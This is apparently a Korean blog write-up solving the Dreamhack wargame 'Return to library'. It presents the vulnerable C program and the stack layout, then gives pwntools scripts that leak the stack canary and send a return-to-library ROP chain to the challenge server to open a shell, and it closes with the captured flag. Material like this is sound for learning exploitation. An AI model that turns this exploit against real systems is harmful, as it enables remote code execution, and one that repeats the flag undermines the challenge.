본문 바로가기

Wargame/Dreamhack

[Dreamhack] Return to library

 

보호 기법에 카나리와 NX가 포함되었다.

 

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);           //buf ~ canary 거리+1 만큼 입력해 canary 앞 \x00을 제거하면
  printf("Buf: %s\n", buf);      //카나리 출력 가능

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);           //buf에 0x30보다 더 큰 0x100 크기 입력을 받고 있어 BOF 가능

  return 0;
}

 

문제 코드 해석은 주석으로 달아 두었다.

 

 

스택 구조는 아래와 같다.

 

RET [8]

RBP [8]

\x00 + canary [8]

dummy [8]

buf [0x30]

 

buf ~ RBP 까지 거리는 56이기 때문에 A를 57개 입력하면 카나리 앞 \x00가 제거되어서 카나리 릭을 할 수 있다.

 

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = process("./rtl")
e = ELF("./rtl")

# [1] Leak Canary
buf2sfp = 0x40
buf2cnry = 0x40 - 0x8
payload = b'A'*(buf2cnry + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)

 

 

페이로드를 짜보자.

 

'A' * 56 + \x00 + canary + 'B' * 8 + ret + pop rdi; ret + "/bin/sh" + system@plt

 

from pwn import *
import warnings

warnings.filterwarnings("ignore")

def log(a, b):
    return success(f"{a}: {hex(b)}")

# connect process
p = remote("host3.dreamhack.games", 12798)
e = ELF("./rtl")
r = ROP(e)

# canary leak
p.recvuntil("Buf: ")
leak_payload = b"\x90"*56 + b"A"
p.send(leak_payload)
p.recvuntil("A")
canary = u64(b'\x00' + p.recvn(7))
log("canary",canary)

# system() & "/bin/sh" addr
system_plt = e.plt['system']
bin_sh = next(e.search(b'/bin/sh'))

# ROP gadget addr
ret = r.find_gadget(['ret'])[0]
pop_rdi_ret = r.find_gadget(['pop rdi'])[0]

# exploit
payload = b"\x90"*56+p64(canary)
payload += b"\x90"*8+p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system_plt)
p.recvuntil("Buf: ")
p.send(payload)
p.interactive()

 

 

 

DH{13e0d0ddf0c71c0ac4410687c11e6b00}

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] uaf_overwrite  (0) 2023.11.11
[Dreamhack] basic_exploitation_002  (0) 2023.11.11
[Dreamhack] ssp-001  (0) 2023.09.24
[Dreamhack] Return to shallcode  (0) 2023.09.24
[Dreamhack] basic_exploitation_000  (0) 2023.09.17